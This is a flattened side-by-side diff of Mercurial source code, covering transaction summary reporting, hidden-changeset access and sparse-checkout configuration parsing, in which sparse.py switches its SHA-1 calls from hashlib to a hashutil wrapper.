1863 fp.write(b''.join(lines))
1863 fp.write(b''.join(lines))
1864
1864
1865
1865
1866 _reportobsoletedsource = [
1866 _reportobsoletedsource = [
1867 b'debugobsolete',
1867 b'debugobsolete',
1868 b'pull',
1868 b'pull',
1869 b'push',
1869 b'push',
1870 b'serve',
1870 b'serve',
1871 b'unbundle',
1871 b'unbundle',
1872 ]
1872 ]
1873
1873
1874 _reportnewcssource = [
1874 _reportnewcssource = [
1875 b'pull',
1875 b'pull',
1876 b'unbundle',
1876 b'unbundle',
1877 ]
1877 ]
1878
1878
1879
1879
1880 def prefetchfiles(repo, revs, match):
1880 def prefetchfiles(repo, revs, match):
1881 """Invokes the registered file prefetch functions, allowing extensions to
1881 """Invokes the registered file prefetch functions, allowing extensions to
1882 ensure the corresponding files are available locally, before the command
1882 ensure the corresponding files are available locally, before the command
1883 uses them."""
1883 uses them."""
1884 if match:
1884 if match:
1885 # The command itself will complain about files that don't exist, so
1885 # The command itself will complain about files that don't exist, so
1886 # don't duplicate the message.
1886 # don't duplicate the message.
1887 match = matchmod.badmatch(match, lambda fn, msg: None)
1887 match = matchmod.badmatch(match, lambda fn, msg: None)
1888 else:
1888 else:
1889 match = matchall(repo)
1889 match = matchall(repo)
1890
1890
1891 fileprefetchhooks(repo, revs, match)
1891 fileprefetchhooks(repo, revs, match)
1892
1892
1893
1893
1894 # a list of (repo, revs, match) prefetch functions
1894 # a list of (repo, revs, match) prefetch functions
1895 fileprefetchhooks = util.hooks()
1895 fileprefetchhooks = util.hooks()
1896
1896
1897 # A marker that tells the evolve extension to suppress its own reporting
1897 # A marker that tells the evolve extension to suppress its own reporting
1898 _reportstroubledchangesets = True
1898 _reportstroubledchangesets = True
1899
1899
1900
1900
1901 def registersummarycallback(repo, otr, txnname=b''):
1901 def registersummarycallback(repo, otr, txnname=b''):
1902 """register a callback to issue a summary after the transaction is closed
1902 """register a callback to issue a summary after the transaction is closed
1903 """
1903 """
1904
1904
1905 def txmatch(sources):
1905 def txmatch(sources):
1906 return any(txnname.startswith(source) for source in sources)
1906 return any(txnname.startswith(source) for source in sources)
1907
1907
1908 categories = []
1908 categories = []
1909
1909
1910 def reportsummary(func):
1910 def reportsummary(func):
1911 """decorator for report callbacks."""
1911 """decorator for report callbacks."""
1912 # The repoview life cycle is shorter than the one of the actual
1912 # The repoview life cycle is shorter than the one of the actual
1913 # underlying repository. So the filtered object can die before the
1913 # underlying repository. So the filtered object can die before the
1914 # weakref is used leading to troubles. We keep a reference to the
1914 # weakref is used leading to troubles. We keep a reference to the
1915 # unfiltered object and restore the filtering when retrieving the
1915 # unfiltered object and restore the filtering when retrieving the
1916 # repository through the weakref.
1916 # repository through the weakref.
1917 filtername = repo.filtername
1917 filtername = repo.filtername
1918 reporef = weakref.ref(repo.unfiltered())
1918 reporef = weakref.ref(repo.unfiltered())
1919
1919
1920 def wrapped(tr):
1920 def wrapped(tr):
1921 repo = reporef()
1921 repo = reporef()
1922 if filtername:
1922 if filtername:
1923 assert repo is not None # help pytype
1923 assert repo is not None # help pytype
1924 repo = repo.filtered(filtername)
1924 repo = repo.filtered(filtername)
1925 func(repo, tr)
1925 func(repo, tr)
1926
1926
1927 newcat = b'%02i-txnreport' % len(categories)
1927 newcat = b'%02i-txnreport' % len(categories)
1928 otr.addpostclose(newcat, wrapped)
1928 otr.addpostclose(newcat, wrapped)
1929 categories.append(newcat)
1929 categories.append(newcat)
1930 return wrapped
1930 return wrapped
1931
1931
1932 @reportsummary
1932 @reportsummary
1933 def reportchangegroup(repo, tr):
1933 def reportchangegroup(repo, tr):
1934 cgchangesets = tr.changes.get(b'changegroup-count-changesets', 0)
1934 cgchangesets = tr.changes.get(b'changegroup-count-changesets', 0)
1935 cgrevisions = tr.changes.get(b'changegroup-count-revisions', 0)
1935 cgrevisions = tr.changes.get(b'changegroup-count-revisions', 0)
1936 cgfiles = tr.changes.get(b'changegroup-count-files', 0)
1936 cgfiles = tr.changes.get(b'changegroup-count-files', 0)
1937 cgheads = tr.changes.get(b'changegroup-count-heads', 0)
1937 cgheads = tr.changes.get(b'changegroup-count-heads', 0)
1938 if cgchangesets or cgrevisions or cgfiles:
1938 if cgchangesets or cgrevisions or cgfiles:
1939 htext = b""
1939 htext = b""
1940 if cgheads:
1940 if cgheads:
1941 htext = _(b" (%+d heads)") % cgheads
1941 htext = _(b" (%+d heads)") % cgheads
1942 msg = _(b"added %d changesets with %d changes to %d files%s\n")
1942 msg = _(b"added %d changesets with %d changes to %d files%s\n")
1943 assert repo is not None # help pytype
1943 assert repo is not None # help pytype
1944 repo.ui.status(msg % (cgchangesets, cgrevisions, cgfiles, htext))
1944 repo.ui.status(msg % (cgchangesets, cgrevisions, cgfiles, htext))
1945
1945
1946 if txmatch(_reportobsoletedsource):
1946 if txmatch(_reportobsoletedsource):
1947
1947
1948 @reportsummary
1948 @reportsummary
1949 def reportobsoleted(repo, tr):
1949 def reportobsoleted(repo, tr):
1950 obsoleted = obsutil.getobsoleted(repo, tr)
1950 obsoleted = obsutil.getobsoleted(repo, tr)
1951 newmarkers = len(tr.changes.get(b'obsmarkers', ()))
1951 newmarkers = len(tr.changes.get(b'obsmarkers', ()))
1952 if newmarkers:
1952 if newmarkers:
1953 repo.ui.status(_(b'%i new obsolescence markers\n') % newmarkers)
1953 repo.ui.status(_(b'%i new obsolescence markers\n') % newmarkers)
1954 if obsoleted:
1954 if obsoleted:
1955 repo.ui.status(_(b'obsoleted %i changesets\n') % len(obsoleted))
1955 repo.ui.status(_(b'obsoleted %i changesets\n') % len(obsoleted))
1956
1956
1957 if obsolete.isenabled(
1957 if obsolete.isenabled(
1958 repo, obsolete.createmarkersopt
1958 repo, obsolete.createmarkersopt
1959 ) and repo.ui.configbool(
1959 ) and repo.ui.configbool(
1960 b'experimental', b'evolution.report-instabilities'
1960 b'experimental', b'evolution.report-instabilities'
1961 ):
1961 ):
1962 instabilitytypes = [
1962 instabilitytypes = [
1963 (b'orphan', b'orphan'),
1963 (b'orphan', b'orphan'),
1964 (b'phase-divergent', b'phasedivergent'),
1964 (b'phase-divergent', b'phasedivergent'),
1965 (b'content-divergent', b'contentdivergent'),
1965 (b'content-divergent', b'contentdivergent'),
1966 ]
1966 ]
1967
1967
1968 def getinstabilitycounts(repo):
1968 def getinstabilitycounts(repo):
1969 filtered = repo.changelog.filteredrevs
1969 filtered = repo.changelog.filteredrevs
1970 counts = {}
1970 counts = {}
1971 for instability, revset in instabilitytypes:
1971 for instability, revset in instabilitytypes:
1972 counts[instability] = len(
1972 counts[instability] = len(
1973 set(obsolete.getrevs(repo, revset)) - filtered
1973 set(obsolete.getrevs(repo, revset)) - filtered
1974 )
1974 )
1975 return counts
1975 return counts
1976
1976
1977 oldinstabilitycounts = getinstabilitycounts(repo)
1977 oldinstabilitycounts = getinstabilitycounts(repo)
1978
1978
1979 @reportsummary
1979 @reportsummary
1980 def reportnewinstabilities(repo, tr):
1980 def reportnewinstabilities(repo, tr):
1981 newinstabilitycounts = getinstabilitycounts(repo)
1981 newinstabilitycounts = getinstabilitycounts(repo)
1982 for instability, revset in instabilitytypes:
1982 for instability, revset in instabilitytypes:
1983 delta = (
1983 delta = (
1984 newinstabilitycounts[instability]
1984 newinstabilitycounts[instability]
1985 - oldinstabilitycounts[instability]
1985 - oldinstabilitycounts[instability]
1986 )
1986 )
1987 msg = getinstabilitymessage(delta, instability)
1987 msg = getinstabilitymessage(delta, instability)
1988 if msg:
1988 if msg:
1989 repo.ui.warn(msg)
1989 repo.ui.warn(msg)
1990
1990
1991 if txmatch(_reportnewcssource):
1991 if txmatch(_reportnewcssource):
1992
1992
1993 @reportsummary
1993 @reportsummary
1994 def reportnewcs(repo, tr):
1994 def reportnewcs(repo, tr):
1995 """Report the range of new revisions pulled/unbundled."""
1995 """Report the range of new revisions pulled/unbundled."""
1996 origrepolen = tr.changes.get(b'origrepolen', len(repo))
1996 origrepolen = tr.changes.get(b'origrepolen', len(repo))
1997 unfi = repo.unfiltered()
1997 unfi = repo.unfiltered()
1998 if origrepolen >= len(unfi):
1998 if origrepolen >= len(unfi):
1999 return
1999 return
2000
2000
2001 # Compute the bounds of new visible revisions' range.
2001 # Compute the bounds of new visible revisions' range.
2002 revs = smartset.spanset(repo, start=origrepolen)
2002 revs = smartset.spanset(repo, start=origrepolen)
2003 if revs:
2003 if revs:
2004 minrev, maxrev = repo[revs.min()], repo[revs.max()]
2004 minrev, maxrev = repo[revs.min()], repo[revs.max()]
2005
2005
2006 if minrev == maxrev:
2006 if minrev == maxrev:
2007 revrange = minrev
2007 revrange = minrev
2008 else:
2008 else:
2009 revrange = b'%s:%s' % (minrev, maxrev)
2009 revrange = b'%s:%s' % (minrev, maxrev)
2010 draft = len(repo.revs(b'%ld and draft()', revs))
2010 draft = len(repo.revs(b'%ld and draft()', revs))
2011 secret = len(repo.revs(b'%ld and secret()', revs))
2011 secret = len(repo.revs(b'%ld and secret()', revs))
2012 if not (draft or secret):
2012 if not (draft or secret):
2013 msg = _(b'new changesets %s\n') % revrange
2013 msg = _(b'new changesets %s\n') % revrange
2014 elif draft and secret:
2014 elif draft and secret:
2015 msg = _(b'new changesets %s (%d drafts, %d secrets)\n')
2015 msg = _(b'new changesets %s (%d drafts, %d secrets)\n')
2016 msg %= (revrange, draft, secret)
2016 msg %= (revrange, draft, secret)
2017 elif draft:
2017 elif draft:
2018 msg = _(b'new changesets %s (%d drafts)\n')
2018 msg = _(b'new changesets %s (%d drafts)\n')
2019 msg %= (revrange, draft)
2019 msg %= (revrange, draft)
2020 elif secret:
2020 elif secret:
2021 msg = _(b'new changesets %s (%d secrets)\n')
2021 msg = _(b'new changesets %s (%d secrets)\n')
2022 msg %= (revrange, secret)
2022 msg %= (revrange, secret)
2023 else:
2023 else:
2024 errormsg = b'entered unreachable condition'
2024 errormsg = b'entered unreachable condition'
2025 raise error.ProgrammingError(errormsg)
2025 raise error.ProgrammingError(errormsg)
2026 repo.ui.status(msg)
2026 repo.ui.status(msg)
2027
2027
2028 # search new changesets directly pulled as obsolete
2028 # search new changesets directly pulled as obsolete
2029 duplicates = tr.changes.get(b'revduplicates', ())
2029 duplicates = tr.changes.get(b'revduplicates', ())
2030 obsadded = unfi.revs(
2030 obsadded = unfi.revs(
2031 b'(%d: + %ld) and obsolete()', origrepolen, duplicates
2031 b'(%d: + %ld) and obsolete()', origrepolen, duplicates
2032 )
2032 )
2033 cl = repo.changelog
2033 cl = repo.changelog
2034 extinctadded = [r for r in obsadded if r not in cl]
2034 extinctadded = [r for r in obsadded if r not in cl]
2035 if extinctadded:
2035 if extinctadded:
2036 # They are not just obsolete, but obsolete and invisible
2036 # They are not just obsolete, but obsolete and invisible
2037 # we call them "extinct" internally but the terms have not been
2037 # we call them "extinct" internally but the terms have not been
2038 # exposed to users.
2038 # exposed to users.
2039 msg = b'(%d other changesets obsolete on arrival)\n'
2039 msg = b'(%d other changesets obsolete on arrival)\n'
2040 repo.ui.status(msg % len(extinctadded))
2040 repo.ui.status(msg % len(extinctadded))
2041
2041
2042 @reportsummary
2042 @reportsummary
2043 def reportphasechanges(repo, tr):
2043 def reportphasechanges(repo, tr):
2044 """Report statistics of phase changes for changesets pre-existing
2044 """Report statistics of phase changes for changesets pre-existing
2045 pull/unbundle.
2045 pull/unbundle.
2046 """
2046 """
2047 origrepolen = tr.changes.get(b'origrepolen', len(repo))
2047 origrepolen = tr.changes.get(b'origrepolen', len(repo))
2048 phasetracking = tr.changes.get(b'phases', {})
2048 phasetracking = tr.changes.get(b'phases', {})
2049 if not phasetracking:
2049 if not phasetracking:
2050 return
2050 return
2051 published = [
2051 published = [
2052 rev
2052 rev
2053 for rev, (old, new) in pycompat.iteritems(phasetracking)
2053 for rev, (old, new) in pycompat.iteritems(phasetracking)
2054 if new == phases.public and rev < origrepolen
2054 if new == phases.public and rev < origrepolen
2055 ]
2055 ]
2056 if not published:
2056 if not published:
2057 return
2057 return
2058 repo.ui.status(
2058 repo.ui.status(
2059 _(b'%d local changesets published\n') % len(published)
2059 _(b'%d local changesets published\n') % len(published)
2060 )
2060 )
2061
2061
2062
2062
2063 def getinstabilitymessage(delta, instability):
2063 def getinstabilitymessage(delta, instability):
2064 """function to return the message to show warning about new instabilities
2064 """function to return the message to show warning about new instabilities
2065
2065
2066 exists as a separate function so that extension can wrap to show more
2066 exists as a separate function so that extension can wrap to show more
2067 information like how to fix instabilities"""
2067 information like how to fix instabilities"""
2068 if delta > 0:
2068 if delta > 0:
2069 return _(b'%i new %s changesets\n') % (delta, instability)
2069 return _(b'%i new %s changesets\n') % (delta, instability)
2070
2070
2071
2071
2072 def nodesummaries(repo, nodes, maxnumnodes=4):
2072 def nodesummaries(repo, nodes, maxnumnodes=4):
2073 if len(nodes) <= maxnumnodes or repo.ui.verbose:
2073 if len(nodes) <= maxnumnodes or repo.ui.verbose:
2074 return b' '.join(short(h) for h in nodes)
2074 return b' '.join(short(h) for h in nodes)
2075 first = b' '.join(short(h) for h in nodes[:maxnumnodes])
2075 first = b' '.join(short(h) for h in nodes[:maxnumnodes])
2076 return _(b"%s and %d others") % (first, len(nodes) - maxnumnodes)
2076 return _(b"%s and %d others") % (first, len(nodes) - maxnumnodes)
2077
2077
2078
2078
2079 def enforcesinglehead(repo, tr, desc, accountclosed=False):
2079 def enforcesinglehead(repo, tr, desc, accountclosed=False):
2080 """check that no named branch has multiple heads"""
2080 """check that no named branch has multiple heads"""
2081 if desc in (b'strip', b'repair'):
2081 if desc in (b'strip', b'repair'):
2082 # skip the logic during strip
2082 # skip the logic during strip
2083 return
2083 return
2084 visible = repo.filtered(b'visible')
2084 visible = repo.filtered(b'visible')
2085 # possible improvement: we could restrict the check to affected branch
2085 # possible improvement: we could restrict the check to affected branch
2086 bm = visible.branchmap()
2086 bm = visible.branchmap()
2087 for name in bm:
2087 for name in bm:
2088 heads = bm.branchheads(name, closed=accountclosed)
2088 heads = bm.branchheads(name, closed=accountclosed)
2089 if len(heads) > 1:
2089 if len(heads) > 1:
2090 msg = _(b'rejecting multiple heads on branch "%s"')
2090 msg = _(b'rejecting multiple heads on branch "%s"')
2091 msg %= name
2091 msg %= name
2092 hint = _(b'%d heads: %s')
2092 hint = _(b'%d heads: %s')
2093 hint %= (len(heads), nodesummaries(repo, heads))
2093 hint %= (len(heads), nodesummaries(repo, heads))
2094 raise error.Abort(msg, hint=hint)
2094 raise error.Abort(msg, hint=hint)
2095
2095
2096
2096
2097 def wrapconvertsink(sink):
2097 def wrapconvertsink(sink):
2098 """Allow extensions to wrap the sink returned by convcmd.convertsink()
2098 """Allow extensions to wrap the sink returned by convcmd.convertsink()
2099 before it is used, whether or not the convert extension was formally loaded.
2099 before it is used, whether or not the convert extension was formally loaded.
2100 """
2100 """
2101 return sink
2101 return sink
2102
2102
2103
2103
2104 def unhidehashlikerevs(repo, specs, hiddentype):
2104 def unhidehashlikerevs(repo, specs, hiddentype):
2105 """parse the user specs and unhide changesets whose hash or revision number
2105 """parse the user specs and unhide changesets whose hash or revision number
2106 is passed.
2106 is passed.
2107
2107
2108 hiddentype can be: 1) 'warn': warn while unhiding changesets
2108 hiddentype can be: 1) 'warn': warn while unhiding changesets
2109 2) 'nowarn': don't warn while unhiding changesets
2109 2) 'nowarn': don't warn while unhiding changesets
2110
2110
2111 returns a repo object with the required changesets unhidden
2111 returns a repo object with the required changesets unhidden
2112 """
2112 """
2113 if not repo.filtername or not repo.ui.configbool(
2113 if not repo.filtername or not repo.ui.configbool(
2114 b'experimental', b'directaccess'
2114 b'experimental', b'directaccess'
2115 ):
2115 ):
2116 return repo
2116 return repo
2117
2117
2118 if repo.filtername not in (b'visible', b'visible-hidden'):
2118 if repo.filtername not in (b'visible', b'visible-hidden'):
2119 return repo
2119 return repo
2120
2120
2121 symbols = set()
2121 symbols = set()
2122 for spec in specs:
2122 for spec in specs:
2123 try:
2123 try:
2124 tree = revsetlang.parse(spec)
2124 tree = revsetlang.parse(spec)
2125 except error.ParseError: # will be reported by scmutil.revrange()
2125 except error.ParseError: # will be reported by scmutil.revrange()
2126 continue
2126 continue
2127
2127
2128 symbols.update(revsetlang.gethashlikesymbols(tree))
2128 symbols.update(revsetlang.gethashlikesymbols(tree))
2129
2129
2130 if not symbols:
2130 if not symbols:
2131 return repo
2131 return repo
2132
2132
2133 revs = _getrevsfromsymbols(repo, symbols)
2133 revs = _getrevsfromsymbols(repo, symbols)
2134
2134
2135 if not revs:
2135 if not revs:
2136 return repo
2136 return repo
2137
2137
2138 if hiddentype == b'warn':
2138 if hiddentype == b'warn':
2139 unfi = repo.unfiltered()
2139 unfi = repo.unfiltered()
2140 revstr = b", ".join([pycompat.bytestr(unfi[l]) for l in revs])
2140 revstr = b", ".join([pycompat.bytestr(unfi[l]) for l in revs])
2141 repo.ui.warn(
2141 repo.ui.warn(
2142 _(
2142 _(
2143 b"warning: accessing hidden changesets for write "
2143 b"warning: accessing hidden changesets for write "
2144 b"operation: %s\n"
2144 b"operation: %s\n"
2145 )
2145 )
2146 % revstr
2146 % revstr
2147 )
2147 )
2148
2148
2149 # we have to use new filtername to separate branch/tags cache until we can
2149 # we have to use new filtername to separate branch/tags cache until we can
2150 # disbale these cache when revisions are dynamically pinned.
2150 # disbale these cache when revisions are dynamically pinned.
2151 return repo.filtered(b'visible-hidden', revs)
2151 return repo.filtered(b'visible-hidden', revs)
2152
2152
2153
2153
2154 def _getrevsfromsymbols(repo, symbols):
2154 def _getrevsfromsymbols(repo, symbols):
2155 """parse the list of symbols and returns a set of revision numbers of hidden
2155 """parse the list of symbols and returns a set of revision numbers of hidden
2156 changesets present in symbols"""
2156 changesets present in symbols"""
2157 revs = set()
2157 revs = set()
2158 unfi = repo.unfiltered()
2158 unfi = repo.unfiltered()
2159 unficl = unfi.changelog
2159 unficl = unfi.changelog
2160 cl = repo.changelog
2160 cl = repo.changelog
2161 tiprev = len(unficl)
2161 tiprev = len(unficl)
2162 allowrevnums = repo.ui.configbool(b'experimental', b'directaccess.revnums')
2162 allowrevnums = repo.ui.configbool(b'experimental', b'directaccess.revnums')
2163 for s in symbols:
2163 for s in symbols:
2164 try:
2164 try:
2165 n = int(s)
2165 n = int(s)
2166 if n <= tiprev:
2166 if n <= tiprev:
2167 if not allowrevnums:
2167 if not allowrevnums:
2168 continue
2168 continue
2169 else:
2169 else:
2170 if n not in cl:
2170 if n not in cl:
2171 revs.add(n)
2171 revs.add(n)
2172 continue
2172 continue
2173 except ValueError:
2173 except ValueError:
2174 pass
2174 pass
2175
2175
2176 try:
2176 try:
2177 s = resolvehexnodeidprefix(unfi, s)
2177 s = resolvehexnodeidprefix(unfi, s)
2178 except (error.LookupError, error.WdirUnsupported):
2178 except (error.LookupError, error.WdirUnsupported):
2179 s = None
2179 s = None
2180
2180
2181 if s is not None:
2181 if s is not None:
2182 rev = unficl.rev(s)
2182 rev = unficl.rev(s)
2183 if rev not in cl:
2183 if rev not in cl:
2184 revs.add(rev)
2184 revs.add(rev)
2185
2185
2186 return revs
2186 return revs
2187
2187
2188
2188
2189 def bookmarkrevs(repo, mark):
2189 def bookmarkrevs(repo, mark):
2190 """
2190 """
2191 Select revisions reachable by a given bookmark
2191 Select revisions reachable by a given bookmark
2192 """
2192 """
2193 return repo.revs(
2193 return repo.revs(
2194 b"ancestors(bookmark(%s)) - "
2194 b"ancestors(bookmark(%s)) - "
2195 b"ancestors(head() and not bookmark(%s)) - "
2195 b"ancestors(head() and not bookmark(%s)) - "
2196 b"ancestors(bookmark() and not bookmark(%s))",
2196 b"ancestors(bookmark() and not bookmark(%s))",
2197 mark,
2197 mark,
2198 mark,
2198 mark,
2199 mark,
2199 mark,
2200 )
2200 )
@@ -1,823 +1,823
1 # sparse.py - functionality for sparse checkouts
1 # sparse.py - functionality for sparse checkouts
2 #
2 #
3 # Copyright 2014 Facebook, Inc.
3 # Copyright 2014 Facebook, Inc.
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import hashlib
11 import os
10 import os
12
11
13 from .i18n import _
12 from .i18n import _
14 from .node import (
13 from .node import (
15 hex,
14 hex,
16 nullid,
15 nullid,
17 )
16 )
18 from . import (
17 from . import (
19 error,
18 error,
20 match as matchmod,
19 match as matchmod,
21 merge as mergemod,
20 merge as mergemod,
22 pathutil,
21 pathutil,
23 pycompat,
22 pycompat,
24 scmutil,
23 scmutil,
25 util,
24 util,
26 )
25 )
26 from .utils import hashutil
27
27
28 # Whether sparse features are enabled. This variable is intended to be
28 # Whether sparse features are enabled. This variable is intended to be
29 # temporary to facilitate porting sparse to core. It should eventually be
29 # temporary to facilitate porting sparse to core. It should eventually be
30 # a per-repo option, possibly a repo requirement.
30 # a per-repo option, possibly a repo requirement.
31 enabled = False
31 enabled = False
32
32
33
33
34 def parseconfig(ui, raw, action):
34 def parseconfig(ui, raw, action):
35 """Parse sparse config file content.
35 """Parse sparse config file content.
36
36
37 action is the command which is trigerring this read, can be narrow, sparse
37 action is the command which is trigerring this read, can be narrow, sparse
38
38
39 Returns a tuple of includes, excludes, and profiles.
39 Returns a tuple of includes, excludes, and profiles.
40 """
40 """
41 includes = set()
41 includes = set()
42 excludes = set()
42 excludes = set()
43 profiles = set()
43 profiles = set()
44 current = None
44 current = None
45 havesection = False
45 havesection = False
46
46
47 for line in raw.split(b'\n'):
47 for line in raw.split(b'\n'):
48 line = line.strip()
48 line = line.strip()
49 if not line or line.startswith(b'#'):
49 if not line or line.startswith(b'#'):
50 # empty or comment line, skip
50 # empty or comment line, skip
51 continue
51 continue
52 elif line.startswith(b'%include '):
52 elif line.startswith(b'%include '):
53 line = line[9:].strip()
53 line = line[9:].strip()
54 if line:
54 if line:
55 profiles.add(line)
55 profiles.add(line)
56 elif line == b'[include]':
56 elif line == b'[include]':
57 if havesection and current != includes:
57 if havesection and current != includes:
58 # TODO pass filename into this API so we can report it.
58 # TODO pass filename into this API so we can report it.
59 raise error.Abort(
59 raise error.Abort(
60 _(
60 _(
61 b'%(action)s config cannot have includes '
61 b'%(action)s config cannot have includes '
62 b'after excludes'
62 b'after excludes'
63 )
63 )
64 % {b'action': action}
64 % {b'action': action}
65 )
65 )
66 havesection = True
66 havesection = True
67 current = includes
67 current = includes
68 continue
68 continue
69 elif line == b'[exclude]':
69 elif line == b'[exclude]':
70 havesection = True
70 havesection = True
71 current = excludes
71 current = excludes
72 elif line:
72 elif line:
73 if current is None:
73 if current is None:
74 raise error.Abort(
74 raise error.Abort(
75 _(
75 _(
76 b'%(action)s config entry outside of '
76 b'%(action)s config entry outside of '
77 b'section: %(line)s'
77 b'section: %(line)s'
78 )
78 )
79 % {b'action': action, b'line': line},
79 % {b'action': action, b'line': line},
80 hint=_(
80 hint=_(
81 b'add an [include] or [exclude] line '
81 b'add an [include] or [exclude] line '
82 b'to declare the entry type'
82 b'to declare the entry type'
83 ),
83 ),
84 )
84 )
85
85
86 if line.strip().startswith(b'/'):
86 if line.strip().startswith(b'/'):
87 ui.warn(
87 ui.warn(
88 _(
88 _(
89 b'warning: %(action)s profile cannot use'
89 b'warning: %(action)s profile cannot use'
90 b' paths starting with /, ignoring %(line)s\n'
90 b' paths starting with /, ignoring %(line)s\n'
91 )
91 )
92 % {b'action': action, b'line': line}
92 % {b'action': action, b'line': line}
93 )
93 )
94 continue
94 continue
95 current.add(line)
95 current.add(line)
96
96
97 return includes, excludes, profiles
97 return includes, excludes, profiles
98
98
99
99
100 # Exists as separate function to facilitate monkeypatching.
100 # Exists as separate function to facilitate monkeypatching.
101 def readprofile(repo, profile, changeid):
101 def readprofile(repo, profile, changeid):
102 """Resolve the raw content of a sparse profile file."""
102 """Resolve the raw content of a sparse profile file."""
103 # TODO add some kind of cache here because this incurs a manifest
103 # TODO add some kind of cache here because this incurs a manifest
104 # resolve and can be slow.
104 # resolve and can be slow.
105 return repo.filectx(profile, changeid=changeid).data()
105 return repo.filectx(profile, changeid=changeid).data()
106
106
107
107
108 def patternsforrev(repo, rev):
108 def patternsforrev(repo, rev):
109 """Obtain sparse checkout patterns for the given rev.
109 """Obtain sparse checkout patterns for the given rev.
110
110
111 Returns a tuple of iterables representing includes, excludes, and
111 Returns a tuple of iterables representing includes, excludes, and
112 patterns.
112 patterns.
113 """
113 """
114 # Feature isn't enabled. No-op.
114 # Feature isn't enabled. No-op.
115 if not enabled:
115 if not enabled:
116 return set(), set(), set()
116 return set(), set(), set()
117
117
118 raw = repo.vfs.tryread(b'sparse')
118 raw = repo.vfs.tryread(b'sparse')
119 if not raw:
119 if not raw:
120 return set(), set(), set()
120 return set(), set(), set()
121
121
122 if rev is None:
122 if rev is None:
123 raise error.Abort(
123 raise error.Abort(
124 _(b'cannot parse sparse patterns from working directory')
124 _(b'cannot parse sparse patterns from working directory')
125 )
125 )
126
126
127 includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
127 includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
128 ctx = repo[rev]
128 ctx = repo[rev]
129
129
130 if profiles:
130 if profiles:
131 visited = set()
131 visited = set()
132 while profiles:
132 while profiles:
133 profile = profiles.pop()
133 profile = profiles.pop()
134 if profile in visited:
134 if profile in visited:
135 continue
135 continue
136
136
137 visited.add(profile)
137 visited.add(profile)
138
138
139 try:
139 try:
140 raw = readprofile(repo, profile, rev)
140 raw = readprofile(repo, profile, rev)
141 except error.ManifestLookupError:
141 except error.ManifestLookupError:
142 msg = (
142 msg = (
143 b"warning: sparse profile '%s' not found "
143 b"warning: sparse profile '%s' not found "
144 b"in rev %s - ignoring it\n" % (profile, ctx)
144 b"in rev %s - ignoring it\n" % (profile, ctx)
145 )
145 )
146 # experimental config: sparse.missingwarning
146 # experimental config: sparse.missingwarning
147 if repo.ui.configbool(b'sparse', b'missingwarning'):
147 if repo.ui.configbool(b'sparse', b'missingwarning'):
148 repo.ui.warn(msg)
148 repo.ui.warn(msg)
149 else:
149 else:
150 repo.ui.debug(msg)
150 repo.ui.debug(msg)
151 continue
151 continue
152
152
153 pincludes, pexcludes, subprofs = parseconfig(
153 pincludes, pexcludes, subprofs = parseconfig(
154 repo.ui, raw, b'sparse'
154 repo.ui, raw, b'sparse'
155 )
155 )
156 includes.update(pincludes)
156 includes.update(pincludes)
157 excludes.update(pexcludes)
157 excludes.update(pexcludes)
158 profiles.update(subprofs)
158 profiles.update(subprofs)
159
159
160 profiles = visited
160 profiles = visited
161
161
162 if includes:
162 if includes:
163 includes.add(b'.hg*')
163 includes.add(b'.hg*')
164
164
165 return includes, excludes, profiles
165 return includes, excludes, profiles
166
166
167
167
168 def activeconfig(repo):
168 def activeconfig(repo):
169 """Determine the active sparse config rules.
169 """Determine the active sparse config rules.
170
170
171 Rules are constructed by reading the current sparse config and bringing in
171 Rules are constructed by reading the current sparse config and bringing in
172 referenced profiles from parents of the working directory.
172 referenced profiles from parents of the working directory.
173 """
173 """
174 revs = [
174 revs = [
175 repo.changelog.rev(node)
175 repo.changelog.rev(node)
176 for node in repo.dirstate.parents()
176 for node in repo.dirstate.parents()
177 if node != nullid
177 if node != nullid
178 ]
178 ]
179
179
180 allincludes = set()
180 allincludes = set()
181 allexcludes = set()
181 allexcludes = set()
182 allprofiles = set()
182 allprofiles = set()
183
183
184 for rev in revs:
184 for rev in revs:
185 includes, excludes, profiles = patternsforrev(repo, rev)
185 includes, excludes, profiles = patternsforrev(repo, rev)
186 allincludes |= includes
186 allincludes |= includes
187 allexcludes |= excludes
187 allexcludes |= excludes
188 allprofiles |= profiles
188 allprofiles |= profiles
189
189
190 return allincludes, allexcludes, allprofiles
190 return allincludes, allexcludes, allprofiles
191
191
192
192
193 def configsignature(repo, includetemp=True):
193 def configsignature(repo, includetemp=True):
194 """Obtain the signature string for the current sparse configuration.
194 """Obtain the signature string for the current sparse configuration.
195
195
196 This is used to construct a cache key for matchers.
196 This is used to construct a cache key for matchers.
197 """
197 """
198 cache = repo._sparsesignaturecache
198 cache = repo._sparsesignaturecache
199
199
200 signature = cache.get(b'signature')
200 signature = cache.get(b'signature')
201
201
202 if includetemp:
202 if includetemp:
203 tempsignature = cache.get(b'tempsignature')
203 tempsignature = cache.get(b'tempsignature')
204 else:
204 else:
205 tempsignature = b'0'
205 tempsignature = b'0'
206
206
207 if signature is None or (includetemp and tempsignature is None):
207 if signature is None or (includetemp and tempsignature is None):
208 signature = hex(hashlib.sha1(repo.vfs.tryread(b'sparse')).digest())
208 signature = hex(hashutil.sha1(repo.vfs.tryread(b'sparse')).digest())
209 cache[b'signature'] = signature
209 cache[b'signature'] = signature
210
210
211 if includetemp:
211 if includetemp:
212 raw = repo.vfs.tryread(b'tempsparse')
212 raw = repo.vfs.tryread(b'tempsparse')
213 tempsignature = hex(hashlib.sha1(raw).digest())
213 tempsignature = hex(hashutil.sha1(raw).digest())
214 cache[b'tempsignature'] = tempsignature
214 cache[b'tempsignature'] = tempsignature
215
215
216 return b'%s %s' % (signature, tempsignature)
216 return b'%s %s' % (signature, tempsignature)
217
217
218
218
219 def writeconfig(repo, includes, excludes, profiles):
219 def writeconfig(repo, includes, excludes, profiles):
220 """Write the sparse config file given a sparse configuration."""
220 """Write the sparse config file given a sparse configuration."""
221 with repo.vfs(b'sparse', b'wb') as fh:
221 with repo.vfs(b'sparse', b'wb') as fh:
222 for p in sorted(profiles):
222 for p in sorted(profiles):
223 fh.write(b'%%include %s\n' % p)
223 fh.write(b'%%include %s\n' % p)
224
224
225 if includes:
225 if includes:
226 fh.write(b'[include]\n')
226 fh.write(b'[include]\n')
227 for i in sorted(includes):
227 for i in sorted(includes):
228 fh.write(i)
